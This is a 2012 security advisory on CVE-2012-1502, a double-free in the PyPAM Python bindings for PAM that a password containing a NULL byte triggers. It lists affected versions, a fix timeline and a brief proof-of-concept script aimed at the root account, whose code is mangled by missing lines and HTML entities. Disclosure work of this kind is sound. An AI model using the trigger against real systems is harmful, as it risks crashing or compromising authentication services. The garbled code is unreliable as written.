LSE-2012-03-01: PyPAM -- Python bindings for PAM - Double Free Corruption

Type securityvulns
Reporter Securityvulns
Modified 2012-03-10T00:00:00



=== LSE Leading Security Experts - Security Advisory 2012-03-01 ===

PyPAM -- Python bindings for PAM - Double Free Corruption

Affected Versions

PyPAM <= 0.4.2 Red Hat PyPAM <= 0.5.0-12 Debian python-pam <= 0.4.2-12.2 Ubuntu python-pam <= 0.4.2-12.2 SUSE python-pam <= 0.5.0-79.1.2 Gentoo pypam <= 0.5.0

Problem Overview

Technical Risk: high Likelihood of Exploit: low to medium Vendor: Rob Riggs, Various Discovery: Markus Vervier Advisory URL: Advisory Status: Public CVE-Number: CVE-2012-1502

Problem Description

While conducting an internal test LSE discovered that by supplying a password containing a NULL-byte to the PyPAM module, a double-free [1] condition is triggered. This leads to undefined behaviour and may allow remote code execution.

Temporary Workaround and Fix

Filtering NULL-bytes in strings before passing them to the PyPAM module will mitigate the exploit. Also current GLIBC protections may prevent the double-free condition from being exploitable. It is advised to update to a fixed version of PyPAM.

Detailed Description

When PyArg_ParseTuple() in line 81 of PAMmodule.c is given a string with Null-Bytes, a TypeError exception is raised [2]. The security problem is in line 82 of PAMmodule.c where free() is called on resp, but resp is not set to NULL. On line 95 in libpam's v_prompt.c the _pam_drop macro calls free on the response again unless (*resp == NULL), which leads to undefined behaviour.

The following PoC script triggers the problem:


!/usr/bin/env python

python-pam 0.4.2 double free PoC

2012 Leading Security Experts GmbH

Markus Vervier

-- coding: utf-8 --

def verify_password(user, password): import PAM def pam_conv(auth, query_list, userData): resp = [] resp.append( (password, 0)) return resp res = -3 service = 'passwd'

auth = PAM.pam&#40;&#41;
auth.set_item&#40;PAM.PAM_USER, user&#41;
auth.set_item&#40;PAM.PAM_CONV, pam_conv&#41;
except PAM.error, resp:
    print &#39;Go away! &#40;&#37;s&#41;&#39; &#37; resp
    res = -1
    print &#39;Internal error&#39;
    res = -2
    print &#39;Good to go!&#39;
    res = 0

return res

print verify_password("root", "a\x00secret") <--snip-->


2012-03-02 Problem discovery during internal QA 2012-03-05 Original vendor and Debian maintainer contacted 2012-03-06 Public Patch released 2012-03-07 Various maintainers contacted 2012-03-07 CVE-2012-1502 assigned 2012-03-08 LSE learned in that this bug was previously discovered and fixed in rPath Linux [3] 2012-03-08 Coordinated Advisory Release


[1] [2] [3] LSE Leading Security Experts GmbH, Postfach 100121, 64201 Darmstadt Unternehmenssitz: Weiterstadt, Amtsgericht Darmstadt: HRB8649 Geschaftsfuhrer: Oliver Michel, Sven Walther, Dr. Peter Schill -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) Comment: Using GnuPG with Mozilla -

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